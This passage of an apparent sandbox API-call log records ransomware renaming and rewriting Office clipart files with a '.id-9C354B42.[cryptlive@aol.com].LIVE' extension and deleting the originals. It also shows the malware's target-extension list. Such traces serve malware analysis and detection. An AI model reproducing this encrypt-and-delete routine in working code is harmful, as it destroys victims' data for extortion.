lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.852] SetEndOfFile (hFile=0x388) returned 1 [0145.854] CloseHandle (hObject=0x388) returned 1 [0145.854] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.854] SetEndOfFile (hFile=0x38c) returned 1 [0145.857] CloseHandle (hObject=0x38c) returned 1 [0145.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0145.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.858] lstrlenW (lpString=".doc") returned 4 [0145.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString=".docx") returned 5 [0145.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.858] lstrlenW (lpString=".pdf") returned 4 [0145.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString=".xls") returned 4 [0145.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.858] lstrlenW (lpString=".xlsx") returned 5 [0145.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.858] lstrlenW (lpString=".ppt") returned 4 [0145.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.858] lstrlenW (lpString=".zip") returned 4 [0145.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.858] lstrlenW (lpString=".rar") returned 4 [0145.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString=".bz2") returned 4 [0145.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString=".7z") returned 3 [0145.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.858] lstrlenW (lpString=".dbf") returned 4 [0145.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.858] lstrlenW (lpString=".1cd") returned 4 [0145.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.858] lstrlenW (lpString=".jpg") returned 4 [0145.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.859] lstrlenW (lpString=".doc") returned 4 [0145.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString=".docx") returned 5 [0145.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.859] lstrlenW (lpString=".pdf") returned 4 [0145.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString=".xls") returned 4 [0145.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.859] lstrlenW (lpString=".xlsx") returned 5 [0145.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.859] lstrlenW (lpString=".ppt") returned 4 [0145.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.859] lstrlenW (lpString=".zip") returned 4 [0145.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.859] lstrlenW (lpString=".rar") returned 4 [0145.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString=".bz2") returned 4 [0145.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString=".7z") returned 3 [0145.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.859] lstrlenW (lpString=".dbf") returned 4 [0145.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.859] lstrlenW (lpString=".1cd") returned 4 [0145.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0145.859] lstrlenW (lpString=".jpg") returned 4 [0145.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.860] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.860] lstrlenW (lpString="HH00601_.WMF") returned 12 [0145.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.860] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1468) returned 1 [0145.860] CloseHandle (hObject=0x38c) returned 1 [0145.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0145.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.861] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.861] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.861] GetLastError () returned 0x0 [0145.861] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x5bc, lpOverlapped=0x0) returned 1 [0145.863] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0145.864] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.864] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.864] SetEndOfFile (hFile=0x388) returned 1 [0145.864] CloseHandle (hObject=0x388) returned 1 [0145.864] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.864] SetEndOfFile (hFile=0x38c) returned 1 [0145.866] CloseHandle (hObject=0x38c) returned 1 [0145.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0145.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.867] lstrlenW (lpString=".doc") returned 4 [0145.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.867] lstrlenW (lpString=".docx") returned 5 [0145.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.867] lstrlenW (lpString=".pdf") returned 4 [0145.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.867] lstrlenW (lpString=".xls") returned 4 [0145.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.867] lstrlenW (lpString=".xlsx") returned 5 [0145.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.867] lstrlenW (lpString=".ppt") returned 4 [0145.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.867] lstrlenW (lpString=".zip") returned 4 [0145.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.867] lstrlenW (lpString=".rar") returned 4 [0145.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.867] lstrlenW (lpString=".bz2") returned 4 [0145.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString=".7z") returned 3 [0145.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.868] lstrlenW (lpString=".dbf") returned 4 [0145.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.868] lstrlenW (lpString=".1cd") returned 4 [0145.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.868] lstrlenW (lpString=".jpg") returned 4 [0145.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.868] lstrlenW (lpString=".doc") returned 4 [0145.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString=".docx") returned 5 [0145.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.868] lstrlenW (lpString=".pdf") returned 4 [0145.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString=".xls") returned 4 [0145.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.868] lstrlenW (lpString=".xlsx") returned 5 [0145.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.868] lstrlenW (lpString=".ppt") returned 4 [0145.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.868] lstrlenW (lpString=".zip") returned 4 [0145.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.868] lstrlenW (lpString=".rar") returned 4 [0145.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.869] lstrlenW (lpString=".bz2") returned 4 [0145.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.869] lstrlenW (lpString=".7z") returned 3 [0145.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.869] lstrlenW (lpString=".dbf") returned 4 [0145.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.869] lstrlenW (lpString=".1cd") returned 4 [0145.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0145.869] lstrlenW (lpString=".jpg") returned 4 [0145.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.869] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.869] lstrlenW (lpString="HH00602_.WMF") returned 12 [0145.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.870] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1400) returned 1 [0145.870] CloseHandle (hObject=0x38c) returned 1 [0145.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0145.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.871] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.872] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.873] GetLastError () returned 0x0 [0145.873] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x578, lpOverlapped=0x0) returned 1 [0145.874] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x580, lpOverlapped=0x0) returned 1 [0145.875] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.875] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.875] SetEndOfFile (hFile=0x388) returned 1 [0145.875] CloseHandle (hObject=0x388) returned 1 [0145.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.876] SetEndOfFile (hFile=0x38c) returned 1 [0145.878] CloseHandle (hObject=0x38c) returned 1 [0145.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0145.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.879] lstrlenW (lpString=".doc") returned 4 [0145.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString=".docx") returned 5 [0145.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.879] lstrlenW (lpString=".pdf") returned 4 [0145.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString=".xls") returned 4 [0145.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.879] lstrlenW (lpString=".xlsx") returned 5 [0145.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.879] lstrlenW (lpString=".ppt") returned 4 [0145.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.879] lstrlenW (lpString=".zip") returned 4 [0145.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.879] lstrlenW (lpString=".rar") returned 4 [0145.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString=".bz2") returned 4 [0145.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString=".7z") returned 3 [0145.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.879] lstrlenW (lpString=".dbf") returned 4 [0145.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.879] lstrlenW (lpString=".1cd") returned 4 [0145.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.879] lstrlenW (lpString=".jpg") returned 4 [0145.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.880] lstrlenW (lpString=".doc") returned 4 [0145.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString=".docx") returned 5 [0145.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.880] lstrlenW (lpString=".pdf") returned 4 [0145.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString=".xls") returned 4 [0145.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.880] lstrlenW (lpString=".xlsx") returned 5 [0145.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.880] lstrlenW (lpString=".ppt") returned 4 [0145.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.880] lstrlenW (lpString=".zip") returned 4 [0145.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.880] lstrlenW (lpString=".rar") returned 4 [0145.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString=".bz2") returned 4 [0145.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString=".7z") returned 3 [0145.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.880] lstrlenW (lpString=".dbf") returned 4 [0145.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.880] lstrlenW (lpString=".1cd") returned 4 [0145.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0145.880] lstrlenW (lpString=".jpg") returned 4 [0145.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.880] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.881] lstrlenW (lpString="HH00612_.WMF") returned 12 [0145.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.882] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12632) returned 1 [0145.882] CloseHandle (hObject=0x38c) returned 1 [0145.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0145.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.882] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.882] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.883] GetLastError () returned 0x0 [0145.883] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3158, lpOverlapped=0x0) returned 1 [0146.084] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3160, lpOverlapped=0x0) returned 1 [0146.085] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.085] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.085] SetEndOfFile (hFile=0x388) returned 1 [0146.085] CloseHandle (hObject=0x388) returned 1 [0146.086] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.086] SetEndOfFile (hFile=0x38c) returned 1 [0146.088] CloseHandle (hObject=0x38c) returned 1 [0146.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 